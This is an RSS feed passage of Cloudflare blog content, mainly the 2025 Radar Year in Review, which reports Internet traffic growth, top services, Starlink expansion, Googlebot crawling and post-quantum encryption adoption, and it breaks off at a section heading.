    <p>The Internet works best when it is open, fair, and independently sustainable. We’re excited to welcome the Human Native team to Cloudflare, and even more excited about what we will build together to improve the foundations of the Internet in the age of AI.</p><p>Onwards.</p> ]]></content:encoded>
            <category><![CDATA[AI]]></category>
            <category><![CDATA[Generative AI]]></category>
            <category><![CDATA[Data]]></category>
            <category><![CDATA[Acquisitions]]></category>
            <category><![CDATA[Developer Platform]]></category>
            <guid isPermaLink="false">Szd19ssv1kbKxjxNZhUmR</guid>
            <dc:creator>Will Allen</dc:creator>
            <dc:creator>James Smith</dc:creator>
        </item>
        <item>
            <title><![CDATA[The 2025 Cloudflare Radar Year in Review: The rise of AI, post-quantum, and record-breaking DDoS attacks]]></title>
            <link>https://blog.cloudflare.com/radar-2025-year-in-review/</link>
            <pubDate>Mon, 15 Dec 2025 14:00:00 GMT</pubDate>
            <description><![CDATA[ We present our 6th annual review of Internet trends and patterns observed across the globe, revealing the disruptions, advances and metrics that defined 2025.  ]]></description>
            <content:encoded><![CDATA[ <p>The <a href="https://radar.cloudflare.com/year-in-review/2025/"><u>2025 Cloudflare Radar Year in Review</u></a> is here: our sixth annual review of the Internet trends and patterns we observed throughout the year, based on Cloudflare’s expansive network view.</p><p>Our view is unique, due to Cloudflare’s global <a href="https://cloudflare.com/network"><u>network</u></a>, which has a presence in 330 cities in over 125 countries/regions, handling over 81 million HTTP requests per second on average, with more than 129 million HTTP requests per second at peak on behalf of millions of customer Web properties, in addition to responding to approximately 67 million (<a href="https://www.cloudflare.com/learning/dns/dns-server-types/"><u>authoritative + resolver</u></a>) DNS queries per second. <a href="https://radar.cloudflare.com/"><u>Cloudflare Radar</u></a> uses the data generated by these Web and DNS services, combined with other complementary data sets, to provide near-real time insights into <a href="https://radar.cloudflare.com/traffic"><u>traffic</u></a>, <a href="https://radar.cloudflare.com/bots"><u>bots</u></a>, <a href="https://radar.cloudflare.com/security/"><u>security</u></a>, <a href="https://radar.cloudflare.com/quality"><u>connectivity</u></a>, and <a href="https://radar.cloudflare.com/dns"><u>DNS</u></a> patterns and trends that we observe across the Internet. </p><p>Our <a href="https://radar.cloudflare.com/year-in-review/2025/"><u>Radar Year in Review</u></a> takes that observability and, instead of a real-time view, offers a look back at 2025: incorporating interactive charts, graphs, and maps that allow you to explore and compare selected trends and measurements year-over-year and across geographies, as well as share and embed Year in Review graphs. </p><p>The 2025 Year In Review is organized into six sections: <a href="https://radar.cloudflare.com/year-in-review/2025#internet-traffic-growth"><u>Traffic</u></a>, <a href="https://radar.cloudflare.com/year-in-review/2025#robots-txt"><u>AI</u></a>, <a href="https://radar.cloudflare.com/year-in-review/2025#ios-vs-android"><u>Adoption &amp; Usage</u></a>, <a href="https://radar.cloudflare.com/year-in-review/2025#internet-outages"><u>Connectivity</u></a>, <a href="https://radar.cloudflare.com/year-in-review/2025#mitigated-traffic"><u>Security</u></a>, and <a href="https://radar.cloudflare.com/year-in-review/2025#malicious-emails"><u>Email Security</u></a>, with data spanning the period from January 1 to December 2, 2025. To ensure consistency, we kept underlying methodologies unchanged from previous years’ calculations. We also incorporated several new data sets this year, including multiple AI-related metrics, <a href="https://radar.cloudflare.com/year-in-review/2025#speed-tests"><u>global speed test activity</u></a>, and <a href="https://radar.cloudflare.com/year-in-review/2025#ddos-attacks"><u>hyper-volumetric DDOS size progression</u></a>. Trends for over 200 countries/regions are available on the microsite; smaller or less-populated locations are excluded due to insufficient data. Some metrics are only shown worldwide and are not displayed if a country/region is selected. </p><p>In this post, we highlight key findings and interesting observations from the major Year In Review microsite sections, and we have again published a companion <i>Most Popular Internet Services </i><a href="https://blog.cloudflare.com/radar-2025-year-in-review-internet-services/"><u>blog post</u></a> that specifically explores trends seen across <a href="https://radar.cloudflare.com/year-in-review/2025#internet-services"><u>top Internet Services</u></a>.</p><p>We encourage you to visit the <a href="https://radar.cloudflare.com/year-in-review/2025/"><u>2025 Year in Review microsite</u></a> to explore the datasets and metrics in more detail, including those for your country/region to see how they have changed since 2024, and how they compare to other areas of interest. </p><p>We hope you’ll find the Year in Review to be an insightful and powerful tool — to explore the disruptions, advances, and metrics that defined the Internet in 2025. </p><p>Let’s dig in.</p>
    <div>
      <h2>Key Findings</h2>
      <a href="#key-findings">
        
      </a>
    </div>
    
    <div>
      <h3>Traffic</h3>
      <a href="#traffic">
        
      </a>
    </div>
    <ul><li><p>Global Internet traffic grew 19% in 2025, with significant growth starting in August. <a href="#global-internet-traffic-grew-19-in-2025-with-significant-growth-starting-in-august"><u>➜</u></a></p></li><li><p>The top 10 most popular Internet services saw a few year-over-year shifts, while a number of new entrants landed on category lists. <a href="#the-top-10-most-popular-internet-services-saw-some-year-over-year-shifts-while-the-category-lists-saw-a-number-of-new-entrants"><u>➜</u></a></p></li><li><p>Starlink traffic doubled in 2025, including traffic from over 20 new countries/regions. <a href="#starlink-traffic-doubled-in-2025-including-traffic-from-over-20-new-countries-regions"><u>➜</u></a></p></li><li><p>Googlebot was again responsible for the highest volume of request traffic to Cloudflare in 2025 as it crawled millions of Cloudflare customer sites for search indexing and AI training. <a href="#googlebot-was-again-responsible-for-the-highest-volume-of-request-traffic-to-cloudflare-in-2025-as-it-crawled-millions-of-cloudflare-customer-sites-for-search-indexing-and-ai-training"><u>➜</u></a></p></li><li><p>The share of human-generated Web traffic that is post-quantum encrypted has grown to 52%. <a href="#the-share-of-human-generated-web-traffic-that-is-post-quantum-encrypted-has-grown-to-52"><u>➜</u></a></p></li><li><p>Googlebot was responsible for more than a quarter of Verified Bot traffic. <a href="#googlebot-was-responsible-for-more-than-a-quarter-of-verified-bot-traffic"><u>➜</u></a></p></li></ul>
    <div>
      <h3>AI</h3>
      <a href="#ai">
        
      </a>
    </div>
    <ul><li><p>Crawl volume from dual-purpose Googlebot dwarfed other AI bots and crawlers. <a href="#crawl-volume-from-dual-purpose-googlebot-dwarfed-other-ai-bots-and-crawlers"><u>➜</u></a></p></li><li><p>AI “user action” crawling increased by over 15x in 2025. <a href="#ai-user-action-crawling-increased-by-over-15x-in-2025"><u>➜</u></a></p></li><li><p>While other AI bots accounted for 4.2% of HTML request traffic, Googlebot alone accounted for 4.5%. <a href="#while-other-ai-bots-accounted-for-4-2-of-html-request-traffic-googlebot-alone-accounted-for-4-5"><u>➜</u></a></p></li><li><p>Anthropic had the highest crawl-to-refer ratio among the leading AI and search platforms. <a href="#anthropic-had-the-highest-crawl-to-refer-ratio-among-the-leading-ai-and-search-platforms"><u>➜</u></a></p></li><li><p>AI crawlers were the most frequently fully disallowed user agents found in robots.txt files. <a href="#ai-crawlers-were-the-most-frequently-fully-disallowed-user-agents-found-in-robots-txt-files"><u>➜</u></a></p></li><li><p>On Workers AI, Meta’s llama-3-8b-instruct model was the most popular model, and text generation was the most popular task type. <a href="#on-workers-ai-metas-llama-3-8b-instruct-model-was-the-most-popular-model-and-text-generation-was-the-most-popular-task-type"><u>➜</u></a></p></li></ul>
    <div>
      <h3>Adoption &amp; Usage</h3>
      <a href="#adoption-usage">
        
      </a>
    </div>
    <ul><li><p>iOS devices generated 35% of mobile device traffic globally — and more than half of device traffic in many countries. <a href="#ios-devices-generated-35-of-mobile-device-traffic-globally-and-more-than-half-of-device-traffic-in-many-countries"><u>➜</u></a></p></li><li><p>The shares of global Web requests using HTTP/3 and HTTP/2 both increased slightly in 2025. <a href="#the-shares-of-global-web-requests-using-http-3-and-http-2-both-increased-slightly-in-2025"><u>➜</u></a></p></li><li><p>JavaScript-based libraries and frameworks remained integral tools for building Web sites. <a href="#javascript-based-libraries-and-frameworks-remained-integral-tools-for-building-web-sites"><u>➜</u></a></p></li><li><p>One-fifth of automated API requests were made by Go-based clients. <a href="#one-fifth-of-automated-api-requests-were-made-by-go-based-clients"><u>➜</u></a></p></li><li><p>Google remains the top search engine, with Yandex, Bing, and DuckDuckGo distant followers. <a href="#google-remains-the-top-search-engine-with-yandex-bing-and-duckduckgo-distant-followers"><u>➜</u></a></p></li><li><p>Chrome remains the top browser across platforms and operating systems – except on iOS, where Safari has the largest share. <a href="#chrome-remains-the-top-browser-across-platforms-and-operating-systems-except-on-ios-where-safari-has-the-largest-share"><u>➜</u></a></p></li></ul>
    <div>
      <h3>Connectivity</h3>
      <a href="#connectivity">
        
      </a>
    </div>
    <ul><li><p>Almost half of the 174 major Internet outages observed around the world in 2025 were due to government-directed regional and national shutdowns of Internet connectivity. <a href="#almost-half-of-the-174-major-internet-outages-observed-around-the-world-in-2025-were-due-to-government-directed-regional-and-national-shutdowns-of-internet-connectivity"><u>➜</u></a></p></li><li><p>Globally, less than a third of dual-stack requests were made over IPv6, while in India, over two-thirds were. <a href="#globally-less-than-a-third-of-dual-stack-requests-were-made-over-ipv6-while-in-india-over-two-thirds-were"><u>➜</u></a></p></li><li><p>European countries had some of the highest download speeds, all above 200 Mbps. Spain remained consistently among the top locations across measured Internet quality metrics. <a href="#european-countries-had-some-of-the-highest-download-speeds-all-above-200-mbps-spain-remained-consistently-among-the-top-locations-across-measured-internet-quality-metrics"><u>➜</u></a></p></li><li><p>London and Los Angeles were hotspots for Cloudflare speed test activity in 2025. <a href="#london-and-los-angeles-were-hotspots-for-cloudflare-speed-test-activity-in-2025"><u>➜</u></a></p></li><li><p>More than half of request traffic comes from mobile devices in 117 countries/regions. <a href="#more-than-half-of-request-traffic-comes-from-mobile-devices-in-117-countries-regions"><u>➜</u></a></p></li></ul>
    <div>
      <h3>Security</h3>
      <a href="#security">
        
      </a>
    </div>
    <ul><li><p>6% of global traffic over Cloudflare’s network was mitigated by our systems — either as potentially malicious or for customer-defined reasons. <a href="#6-of-global-traffic-over-cloudflares-network-was-mitigated-by-our-systems-either-as-potentially-malicious-or-for-customer-defined-reasons"><u>➜</u></a></p></li><li><p>40% of global bot traffic came from the United States, with Amazon Web Services and Google Cloud originating a quarter of global bot traffic. <a href="#40-of-global-bot-traffic-came-from-the-united-states-with-amazon-web-services-and-google-cloud-originating-a-quarter-of-global-bot-traffic"><u>➜</u></a></p></li><li><p>Organizations in the "People and Society” sector were the most targeted during 2025. <a href="#organizations-in-the-people-and-society-vertical-were-the-most-targeted-during-2025"><u>➜</u></a></p></li><li><p>Routing security, measured as the shares of RPKI valid routes and covered IP address space, saw continued improvement throughout 2025. <a href="#routing-security-measured-as-the-shares-of-rpki-valid-routes-and-covered-ip-address-space-saw-continued-improvement-throughout-2025"><u>➜</u></a></p></li><li><p>Hyper-volumetric DDoS attack sizes grew significantly throughout the year. <a href="#hyper-volumetric-ddos-attack-sizes-grew-significantly-throughout-the-year"><u>➜</u></a></p></li><li><p>More than 5% of email messages analyzed by Cloudflare were found to be malicious. <a href="#more-than-5-of-email-messages-analyzed-by-cloudflare-were-found-to-be-malicious"><u>➜</u></a></p></li><li><p>Deceptive links, identity deception, and brand impersonation were the most common types of threats found in malicious email messages. <a href="#deceptive-links-identity-deception-and-brand-impersonation-were-the-most-common-types-of-threats-found-in-malicious-email-messages"><u>➜</u></a></p></li><li><p>Nearly all of the email messages from the .christmas and .lol Top Level Domains were found to be either spam or malicious. <a href="#nearly-all-of-the-email-messages-from-the-christmas-and-lol-top-level-domains-were-found-to-be-either-spam-or-malicious"><u>➜</u></a></p></li></ul>
    <div>
      <h2>Traffic trends</h2>
      <a href="#traffic-trends">
        
      </a>
    </div>
    
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/3EqqyX4A0PI27tBdVijUq2/9102522d8661d7d5911ece00c1b1e678/BLOG-3077_2.png" />
          </figure>
    <div>
      <h3>Global Internet traffic grew 19% in 2025, with significant growth starting in August</h3>
      <a href="#global-internet-traffic-grew-19-in-2025-with-significant-growth-starting-in-august">
        
      </a>
    </div>
    <p>To determine the traffic trends over time for the Year in Review, we use the average daily traffic volume (excluding bot traffic) over the second full calendar week (January 12-18) of 2025 as our baseline. (The second calendar week is used to allow time for people to get back into their “normal” school and work routines after the winter holidays and New Year’s Day.) The percent change shown in the traffic trends chart is calculated relative to the baseline value — it does not represent absolute traffic volume for a country/region. The trend line represents a seven-day trailing average, which is used to smooth the sharp changes seen with data at a daily granularity. </p><p>Traffic growth in 2025 appeared to occur in several phases. Traffic was, on average, somewhat flat through mid-April, generally within a couple of percent of the baseline value. However, it then saw growth through May to approximately 5% above baseline, staying in the +4-7% range through mid-August. It was at that time that growth accelerated, climbing steadily through September, October, and November, <a href="https://radar.cloudflare.com/year-in-review/2025#internet-traffic-growth"><u>peaking at 19% growth</u></a> for the year. Aided by a late-November increase, 2025’s rate of growth is about 10% higher than the 17% growth observed in 2024. In <a href="https://blog.cloudflare.com/radar-2024-year-in-review/#global-internet-traffic-grew-17-2-in-2024"><u>past years</u></a>, we have also observed traffic growth accelerating in the back half of the year, although in 2022-2024, that acceleration started in July. It’s not clear why this year’s growth was seemingly delayed by several weeks.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/3I9BSisZlIKlCrANpDTBtx/deb202dba9ca9aa7e23379bab6d81412/BLOG-3077_3_-_traffic-internet_traffic_growth_-_worldwide.png" />
          </figure><p><sup><i>Internet traffic trends in 2025, worldwide</i></sup></p><p><a href="https://radar.cloudflare.com/year-in-review/2025/bw#internet-traffic-growth"><u>Botswana</u></a> saw the highest peak growth, reaching 298% above baseline on November 8, and ending the period 295% over baseline. (More on what accounts for that growth in the Starlink section below.) Botswana and <a href="https://radar.cloudflare.com/year-in-review/2025/sd#internet-traffic-growth"><u>Sudan</u></a> were the only countries/regions to see traffic more than double over the course of the year, although some others experienced peak increases over 100% at some point during the year.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/1z4fQNQvLZM5li5h7JWeIq/ed3afd5c7d2412a7426f3e7c4985be33/BLOG-3077_4_-_traffic-internet_traffic_growth_-_Botswana.png" />
          </figure><p><sup><i>Internet traffic trends in 2025, Botswana</i></sup></p><p>The impact of extended Internet disruptions are clearly visible within the graphs as well. For example, on October 29, the <a href="https://radar.cloudflare.com/year-in-review/2025/tz#internet-traffic-growth"><u>Tanzanian</u></a> government imposed an Internet shutdown there in response to election day protests. That shutdown lasted just a day, but another one followed from October 30 until November 3. Although traffic in the country had increased more than 40% above baseline ahead of the shutdowns, the disruption ultimately dropped traffic more than 70% below baseline — a rapid reversal. Traffic recovered quickly after connectivity was restored. A similar pattern was observed in <a href="https://radar.cloudflare.com/year-in-review/2025/jm#internet-traffic-growth"><u>Jamaica</u></a>, where Internet traffic spiked ahead of the arrival of <a href="https://x.com/CloudflareRadar/status/1983188999461319102?s=20"><u>Hurricane Melissa</u></a> on October 28, and then dropped significantly after the storm caused power outages and infrastructure damage on the island. Traffic began to rebound after the storm’s passing, returning to a level just above baseline by early December.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/4dVMnD0mQvl4sB1bbn6kka/a7c433aaf2df3319328b27156bf70618/BLOG-3077_5_-_traffic-internet_traffic_growth_-_Tanzania.png" />
          </figure><p><sup><i>Internet traffic trends in 2025, Tanzania</i></sup></p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/4dovYDK7vTfjsL9FBNAvjE/a80a0c8fe69cce81ecc03605ae874859/BLOG-3077_6_-_traffic-internet_traffic_growth_-_Jamaica.png" />
          </figure><p><sup><i>Internet traffic trends in 2025, Jamaica</i></sup></p>
    <div>
      <h3>The top 10 most popular Internet services saw some year-over-year shifts, while the category lists saw a number of new entrants</h3>
      <a href="#the-top-10-most-popular-internet-services-saw-some-year-over-year-shifts-while-the-category-lists-saw-a-number-of-new-entrants">
        
      </a>
    </div>
    <p>For the Year in Review, we look at the 11-month year-to-date period. In addition to an “overall” ranked list, we also rank services across nine categories, based on analysis of anonymized query data of traffic to our <a href="https://1.1.1.1/dns"><u>1.1.1.1 public DNS resolver</u></a> from millions of users around the world. For the purposes of these rankings, domains that belong to a single Internet service are grouped together.</p><p>Google and Facebook once again held the top two spots among the <a href="https://radar.cloudflare.com/year-in-review/2025/#internet-services"><u>top 10</u></a>. Although the other members of the top 10 list remained consistent with 2024’s rankings, there was some movement in the middle. Microsoft, Instagram, and YouTube all moved higher; Amazon Web Services (AWS) dropped one spot lower, while TikTok fell four spots.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/4vMi7DU13dkmLCkhEvvzVO/bdc5b0baa3b140c6112abf3b7414da83/BLOG-3077_7_-_traffic-topinternetservices.png" />
          </figure><p><sup><i>Top Internet services in 2025, worldwide</i></sup></p><p>Among Generative AI services, ChatGPT/OpenAI remained at the top of the list. But there was movement elsewhere, highlighting the dynamic nature of the industry. Services that moved up the rankings include Perplexity, Claude/Anthropic, and GitHub Copilot. New entries in the top 10 for 2025 include Google Gemini, Windsurf AI, Grok/xAI, and DeepSeek.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/vUiNheIzMym9Mr3TPK3yN/c4684bb93696e31dcd689b1a150d35cd/BLOG-3077_8_-_Generative_AI.png" />
          </figure><p><sup><i>Top Generative AI services in 2025, worldwide</i></sup></p><p>Other categories saw movement within their lists as well – Shopee (“the leading e-commerce online shopping platform in Southeast Asia and Taiwan”) is a new entrant to the E-Commerce list, and HBO Max joined the Video Streaming ranking. These categorical rankings, as well as trends seen by specific services, are explored in more detail in <a href="https://blog.cloudflare.com/radar-2025-year-in-review-internet-services/"><u>a separate blog post</u></a>.</p><p>In addition, this year we are also providing top Internet services insights at a country/region level for the Overall, Generative AI, Social Media, and Messaging categories. (In 2024, we only shared Overall insights.)</p>
    <div>
      <h3>Starlink traffic doubled in 2025, including traffic from over 20 new countries/regions</h3>
      <a href="#starlink-traffic-doubled-in-2025-including-traffic-from-over-20-new-countries-regions">
        
      </a>
    </div>
    <p>SpaceX Starlink’s satellite-based Internet service continues to be a popular option for bringing connectivity to unserved or underserved areas, as well as to users on <a href="https://starlink.com/business/aviation"><u>planes</u></a> and <a href="https://starlink.com/business/maritime"><u>boats</u></a>. We analyzed aggregate request traffic volumes associated with Starlink's primary <a href="https://www.cloudflare.com/learning/network-layer/what-is-an-autonomous-system/"><u>autonomous system</u></a> (<a href="https://radar.cloudflare.com/as14593"><u>AS14593</u></a>) to track the growth in usage of the service throughout 2025. The request volume shown on the trend line in the chart represents a seven-day trailing average. </p><p>Globally, <a href="https://radar.cloudflare.com/year-in-review/2025/#starlink-traffic-trends"><u>traffic from Starlink</u></a> continued to see consistent growth throughout 2025, with total request volume up 2.3x across the year. We tend to see rapid traffic growth when Starlink service becomes available in a country/region, and that trend continues in 2025. </p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/4d7DF8FT1RuK8rbrFfUu1E/c05645dc7640e11794b35770bc0bcd70/BLOG-3077_9_-_traffic-starlink-worldwide.png" />
          </figure><p><sup><i>Starlink traffic growth in 2025, worldwide</i></sup></p><p>That’s exactly what we saw in the more than 20 new countries/regions where <a href="https://x.com/starlink"><u>@Starlink</u></a> announced availability: within days, Starlink traffic in those places increased rapidly. These included <a href="https://radar.cloudflare.com/year-in-review/2025/am#starlink-traffic-trends"><u>Armenia</u></a>, <a href="https://radar.cloudflare.com/year-in-review/2025/ne#starlink-traffic-trends"><u>Niger</u></a>, <a href="https://radar.cloudflare.com/year-in-review/2025/lk#starlink-traffic-trends"><u>Sri Lanka</u></a>, and <a href="https://radar.cloudflare.com/year-in-review/2025/sx#starlink-traffic-trends"><u>Sint Maarten</u></a>.</p><p>We also saw Starlink traffic from a number of locations that are not currently <a href="https://starlink.com/map"><u>marked for service availability</u></a>. However, there are IPv4 and/or IPv6 prefixes associated with these countries in Starlink’s <a href="https://geoip.starlinkisp.net/feed.csv"><u>published geofeed</u></a>. Given the ability for Starlink users to <a href="https://starlink.com/roam"><u>roam</u></a> with their service (and equipment), this traffic likely comes from roaming users in those areas.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/4knmSgVn4FFyMm3ZRNRvuq/887455ee737217a7f9bad2cedbbff009/BLOG-3077_10_-_traffic-starlink-niger.png" />
          </figure><p><sup><i>Starlink traffic growth in 2025, Niger</i></sup></p><p>Of countries/regions where service was active before 2025, <a href="https://radar.cloudflare.com/year-in-review/2025/bj#starlink-traffic-trends"><u>Benin</u></a>, <a href="https://radar.cloudflare.com/year-in-review/2025/tl#starlink-traffic-trends"><u>Timor-Leste</u></a>, and <a href="https://radar.cloudflare.com/year-in-review/2025/bw#starlink-traffic-trends"><u>Botswana</u></a> had some of the largest traffic growth, at 51x, 19x, and 16x respectively. Starlink service availability in <a href="https://x.com/Starlink/status/1720438167944499638"><u>Benin</u></a> was first announced in November 2023, <a href="https://x.com/Starlink/status/1866631930902622360"><u>Timor-Leste</u></a> in December 2024, and <a href="https://x.com/Starlink/status/1828840132688130322"><u>Botswana</u></a> in August 2024.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/PlOuYo67dUghmsSVtzd5k/d8ff2816e5703cc425c403c52bd56be1/BLOG-3077_11_-_traffic-starlink-botswana.png" />
          </figure><p><sup><i>Starlink traffic growth in 2025, Botswana</i></sup></p><p>Similar services, such as <a href="https://leo.amazon.com/"><u>Amazon Leo</u></a>, <a href="https://www.eutelsat.com/satellite-services/tv-internet-home/satellite-internet-home-business-konnect"><u>Eutelsat Konnect</u></a>, and China’s <a href="https://en.wikipedia.org/wiki/Qianfan"><u>Qianfan</u></a>, continue to grow their satellite constellations and move towards commercial availability. We hope to review traffic growth across these services in the future as well.</p>
    <div>
      <h3>Googlebot was again responsible for the highest volume of request traffic to Cloudflare in 2025 as it crawled millions of Cloudflare customer sites for search indexing and AI training</h3>
      <a href="#googlebot-was-again-responsible-for-the-highest-volume-of-request-traffic-to-cloudflare-in-2025-as-it-crawled-millions-of-cloudflare-customer-sites-for-search-indexing-and-ai-training">
        
      </a>
    </div>
    <p>To look at the aggregate request traffic Cloudflare saw in 2025 from the entire IPv4 Internet, we can use a <a href="https://en.wikipedia.org/wiki/Hilbert_curve"><u>Hilbert curve</u></a>, which allows us to visualize a sequence of IPv4 addresses in a two-dimensional pattern that keeps nearby IP addresses close to each other, making them <a href="https://xkcd.com/195/"><u>useful</u></a> for surveying the Internet's IPv4 address space. Within the <a href="https://radar.cloudflare.com/year-in-review/2025/#ipv4-traffic-distribution"><u>visualization</u></a>, we aggregate IPv4 addresses into <a href="https://www.ripe.net/about-us/press-centre/IPv4CIDRChart_2015.pdf"><u>/20</u></a> prefixes, meaning that at the highest zoom level, each square represents traffic from 4,096 IPv4 addresses. This level of aggregation keeps the amount of data used for the visualization manageable. See the <a href="https://blog.cloudflare.com/radar-2024-year-in-review/#googlebot-was-responsible-for-the-highest-volume-of-request-traffic-to-cloudflare-in-2024-as-it-retrieved-content-from-millions-of-cloudflare-customer-sites-for-search-indexing"><u>2024 Year in Review blog post</u></a> for additional details about the visualization.</p><p>For the third year in a row, the IP address block that had the maximum request volume to Cloudflare during 2025 was Google’s <a href="https://radar.cloudflare.com/routing/prefix/66.249.64.0/20"><u>66.249.64.0/20</u></a> –  <a href="https://developers.google.com/static/search/apis/ipranges/googlebot.json"><u>one of several</u></a> used by the <a href="https://developers.google.com/search/docs/crawling-indexing/googlebot"><u>Googlebot</u></a> web crawler to retrieve content for search indexing and AI training. That a Googlebot IP address block ranked again as the top request traffic source is unsurprising, given the number of web properties on Cloudflare’s network and <a href="#googlebot-was-responsible-for-more-than-a-quarter-of-verified-bot-traffic"><u>Googlebot’s aggressive crawling activity</u></a>. The Googlebot prefix accounted for nearly 4x as much IPv4 request traffic as the next largest traffic source, 146.20.240.0/20, which is part of a <a href="https://radar.cloudflare.com/routing/prefix/146.20.0.0/16"><u>larger block of IPv4 address space announced by Rackspace Hosting</u></a>. As a cloud and hosting provider, Rackspace supports many different types of customers and applications, so the driver of the observed traffic to Cloudflare isn’t known.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/5NpjYc7D7ykOlLh837jarL/59c2bd9927a2fb16bb39973f4d8d1db8/BLOG-3077_12_-_traffic-ipv4distribution-googlebot.png" />
          </figure><p><i><sup>Zoomed Hilbert curve view showing the address block that generated the highest volume of requests in 2025</sup></i></p><p>This year, we’ve added the ability to search for an autonomous system (ASN) to the visualization, allowing you to see how broadly a network provider’s IP address holdings are distributed across the IPv4 universe. </p><p>One example is AS16509 (AMAZON-02, used with AWS), which shows the results of Amazon’s acquisitions of <a href="https://toonk.io/aws-and-their-billions-in-ipv4-addresses/index.html"><u>large amounts of IPv4 address space</u></a> over the years. Another example is AS7018 (ATT-INTERNET4, AT&amp;T), which is one of the largest <a href="https://radar.cloudflare.com/routing/us#ases-registered-in-united-states"><u>announcers of IPv4 address space in the United States</u></a>. Much of the traffic we see from this ASN comes from <a href="https://radar.cloudflare.com/routing/prefix/12.0.0.0/8"><u>12.0.0.0/8</u></a>, a block of over 16 million IPv4 addresses that has been <a href="https://wq.apnic.net/apnic-bin/whois.pl?searchtext=12.147.5.178"><u>owned by AT&amp;T since 1983</u></a>.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/42mehcaIRV4Kp9h6P86z6d/436e033e353710419fcc49865d765258/BLOG-3077_13_-_traffic-ipv4distribution-as7018.png" />
          </figure><p><sup><i>Hilbert curve showing the IPv4 address blocks from AS7018 that sent traffic to Cloudflare in 2025</i></sup></p>
    <div>
      <h3>The share of human-generated Web traffic that is post-quantum encrypted has grown to 52%</h3>
      <a href="#the-share-of-human-generated-web-traffic-that-is-post-quantum-encrypted-has-grown-to-52">
        
      </a>
    </div>
    <p>“<a href="https://en.wikipedia.org/wiki/Post-quantum_cryptography"><u>Post-quantum</u></a>” refers to a set of cryptographic techniques designed to protect encrypted data from “<a href="https://en.wikipedia.org/wiki/Harvest_now,_decrypt_later"><u>harvest now, decrypt later</u></a>” attacks by adversaries that have the ability to capture and store current data for future decryption by sufficiently advanced quantum computers. The Cloudflare Research team has been <a href="https://blog.cloudflare.com/sidh-go/"><u>working on post-quantum cryptography since 2017</u></a>, and regularly publishes <a href="https://blog.cloudflare.com/pq-2025/"><u>updates</u></a> on the state of the post-quantum Internet.</p><p>After seeing <a href="https://radar.cloudflare.com/year-in-review/2024#post-quantum-encryption"><u>significant growth in 2024</u></a>, the global share of <a href="https://radar.cloudflare.com/year-in-review/2025/#post-quantum-encryption"><u>post-quantum encrypted traffic</u></a> nearly doubled throughout 2025, from 29% at the start of the year to 52% in early December. </p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/qqehh1EqKIMi7xNcSr8SN/c24962ce446e153fbd37c9abe7254f78/BLOG-3077_14_-_traffic-postquantum-worldwide.png" />
          </figure><p><sup><i>Post-quantum encrypted TLS 1.3 traffic growth in 2025, worldwide</i></sup></p><p>Twenty-eight countries/regions saw their share of post-quantum encrypted traffic more than double throughout the year, including significant growth in <a href="https://radar.cloudflare.com/year-in-review/2025/pr#post-quantum-encryption"><u>Puerto Rico</u></a> and <a href="https://radar.cloudflare.com/year-in-review/2025/kw#post-quantum-encryption"><u>Kuwait</u></a>. Kuwait’s share nearly tripled, from 13% to 37%, and Puerto Rico’s share grew from 20% to 49%. </p><p>Those three were among others that saw significant share growth in mid-September, <a href="https://9to5mac.com/2025/09/09/apple-announces-ios-26-release-date-september-15/"><u>concurrent with</u></a> Apple releasing operating system updates, in which “<i>TLS-protected connections will </i><a href="https://support.apple.com/en-us/122756"><i><u>automatically advertise support for hybrid, quantum-secure key exchange</u></i></a><i> in TLS 1.3</i>”. In Kuwait and Puerto Rico, over half of request traffic is from mobile devices, and approximately half comes from iOS devices in both locations as well, so it is not surprising that this software update resulted in a significant increase in post-quantum traffic share</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/5Y65KuTezdGnAfilj9Xosr/a74b60f9f24322827ea89f9ad1eef035/BLOG-3077_15_-_traffic-postquantum-puertorico.png" />
          </figure><p><sup><i>Post-quantum encrypted TLS 1.3 traffic growth in 2025, Puerto Rico</i></sup></p><p>To that end, the share of post-quantum encrypted traffic from Apple iOS devices <a href="https://radar.cloudflare.com/explorer?dataSet=http&amp;groupBy=post_quantum&amp;filters=botClass%253DLIKELY_HUMAN%252Cos%253DiOS&amp;dt=2025-09-01_2025-09-28"><u>grew significantly in September</u></a> after iOS 26 was officially released. Just <a href="https://x.com/CloudflareRadar/status/1969159602999640535?s=20"><u>four days after release</u></a>, the global share of requests with post-quantum support from iOS devices grew from just under 2% to 11%. By <a href="https://radar.cloudflare.com/explorer?dataSet=http&amp;groupBy=post_quantum&amp;filters=deviceType%253DMobile%252Cos%253DiOS%252CbotClass%253DLikely_Human&amp;dt=2025-12-01_2025-12-07"><u>early December</u></a>, more than 25% of requests from iOS devices used post-quantum encryption.</p>
    <div>
      <h3>Googlebot was responsible for more than a quarter of Verified Bot traffic</h3>
      <a href="#googlebot-was-responsible-for-more-than-a-quarter-of-verified-bot-traffic">
        
      </a>
    </div>
